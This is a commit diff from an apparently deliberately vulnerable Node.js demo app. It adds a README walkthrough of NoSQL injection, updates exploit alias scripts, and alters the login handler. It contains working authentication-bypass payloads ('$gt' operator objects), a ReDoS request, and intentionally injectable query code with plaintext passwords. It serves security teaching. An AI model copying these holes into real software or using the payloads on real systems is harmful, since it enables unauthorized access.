Skip to content

Commit f5d685f

Browse files
committed
fix: update README for NoSQL injection vector
1 parent f0012a5 commit f5d685f

File tree

4 files changed

+58
-29
lines changed

4 files changed

+58
-29
lines changed

README.md

+25
Original file line numberDiff line numberDiff line change
@@ -93,6 +93,31 @@ The `validator.rtrim()` sanitizer is also vulnerable, and we can use this to cre
9393
curl -X 'POST' -H 'Content-Type: application/json' --data-binary "{\"email\": \"someone@example.com\", \"country\": \"nop\", \"phone\": \"0501234123\", \"lastname\": \"nop\", \"firstname\": \"`node -e 'console.log(" ".repeat(100000) + "!")'`\"}" 'http://localhost:3001/account_details'
9494
```
9595

96+
#### NoSQL injection
97+
98+
A POST request to `/login` will allow for authentication and signing-in to the system as an administrator user.
99+
It works by exposing `loginHandler` as a controller in `routes/index.js` and uses a MongoDB database and the `User.find()` query to look up the user's details (email as a username and password). One issue is that it indeed stores passwords in plaintext and not hashing them. However, there are other issues in play here.
100+
101+
102+
We can send a request with an incorrect password to see that we get a failed attempt
103+
```sh
104+
echo '{"username":"admin@snyk.io", "password":"WrongPassword"}' | http --json $GOOF_HOST/login -v
105+
```
106+
107+
And another request, as denoted with the following JSON request to sign-in as the admin user works as expected:
108+
```sh
109+
echo '{"username":"admin@snyk.io", "password":"SuperSecretPassword"}' | http --json $GOOF_HOST/login -v
110+
```
111+
112+
However, what if the password wasn't a string? what if it was an object? Why would an object be harmful or even considered an issue?
113+
Consider the following request:
114+
```sh
115+
echo '{"username": "admin@snyk.io", "password": {"$gt": ""}}' | http --json $GOOF_HOST/login -v
116+
```
117+
118+
We know the username, and we pass on what seems to be an object of some sort.
119+
That object structure is passed as-is to the `password` property and has a specific meaning to MongoDB - it uses the `$gt` operation which stands for `greater than`. So, we in essence tell MongoDB to match that username with any record that has a password that is greater than `empty string` which is bound to hit a record. This introduces the NoSQL Injection vector.
120+
96121
#### Open redirect
97122

98123
The `/admin` view introduces a `redirectPage` query path, as follows in the admin view:

exploits/nosql-exploits.sh

+4-4
Original file line numberDiff line numberDiff line change
@@ -4,16 +4,16 @@ if [ -z "$GOOF_HOST" ]; then
44
fi
55

66
# Default working case - form fill
7-
alias ns1="echo -n 'username=admin&password=SuperSecretPassword' | http --form $GOOF_HOST/login -v"
7+
alias ns1="echo -n 'username=admin@snyk.io&password=SuperSecretPassword' | http --form $GOOF_HOST/login -v"
88

99
# JSON working login
10-
alias ns2='echo '"'"'{"username":"admin", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/login -v'
10+
alias ns2='echo '"'"'{"username":"admin@snyk.io", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/login -v'
1111

1212
# failed login
13-
alias ns3='echo '"'"'{"username":"admin", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/login -v'
13+
alias ns3='echo '"'"'{"username":"admin@snyk.io", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/login -v'
1414

1515
# successful login, NOSQL Injection, knowing the username
16-
alias ns4='echo '"'"'{"username": "admin", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v'
16+
alias ns4='echo '"'"'{"username": "admin@snyk.io", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v'
1717

1818
# successful login, NOSQL Injection, without knowing the username
1919
alias ns5='echo '"'"'{"username": {"$gt": ""}, "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v'

mongoose-db.js

+2-2
Original file line numberDiff line numberDiff line change
@@ -45,11 +45,11 @@ console.log("Using Mongo URI " + mongoUri);
4545
mongoose.connect(mongoUri);
4646

4747
User = mongoose.model('User');
48-
User.find({ username: 'admin' }).exec(function (err, users) {
48+
User.find({ username: 'admin@snyk.io' }).exec(function (err, users) {
4949
console.log(users);
5050
if (users.length === 0) {
5151
console.log('no admin');
52-
new User({ username: 'admin', password: 'SuperSecretPassword' }).save(function (err, user, count) {
52+
new User({ username: 'admin@snyk.io', password: 'SuperSecretPassword' }).save(function (err, user, count) {
5353
if (err) {
5454
console.log('error saving admin user');
5555
}

routes/index.js

+27-23
Original file line numberDiff line numberDiff line change
@@ -35,18 +35,35 @@ exports.index = function (req, res, next) {
3535
};
3636

3737
exports.loginHandler = function (req, res, next) {
38-
User.find({ username: req.body.username, password: req.body.password }, function (err, users) {
39-
if (users.length > 0) {
40-
const redirectPage = req.body.redirectPage
41-
const session = req.session
42-
const username = req.body.username
43-
return adminLoginSuccess(redirectPage, session, username, res)
44-
} else {
45-
return res.redirect('/admin')
46-
}
47-
});
38+
if (validator.isEmail(req.body.username)) {
39+
User.find({ username: req.body.username, password: req.body.password }, function (err, users) {
40+
if (users.length > 0) {
41+
const redirectPage = req.body.redirectPage
42+
const session = req.session
43+
const username = req.body.username
44+
return adminLoginSuccess(redirectPage, session, username, res)
45+
} else {
46+
return res.status(401).send()
47+
}
48+
});
49+
} else {
50+
return res.status(401).send()
51+
}
4852
};
4953

54+
function adminLoginSuccess(redirectPage, session, username, res) {
55+
session.loggedIn = 1
56+
57+
// Log the login action for audit
58+
console.log(`User logged in: ${username}`)
59+
60+
if (redirectPage) {
61+
return res.redirect(redirectPage)
62+
} else {
63+
return res.redirect('/admin')
64+
}
65+
}
66+
5067
exports.login = function (req, res, next) {
5168
return res.render('admin', {
5269
title: 'Admin Access',
@@ -110,19 +127,6 @@ exports.logout = function (req, res, next) {
110127
})
111128
}
112129

113-
function adminLoginSuccess(redirectPage, session, username, res) {
114-
session.loggedIn = 1
115-
116-
// Log the login action for audit
117-
console.log(`User logged in: ${username}`)
118-
119-
if (redirectPage) {
120-
return res.redirect(redirectPage)
121-
} else {
122-
return res.redirect('/admin')
123-
}
124-
}
125-
126130
function parse(todo) {
127131
var t = todo;
128132

0 commit comments

Comments
 (0)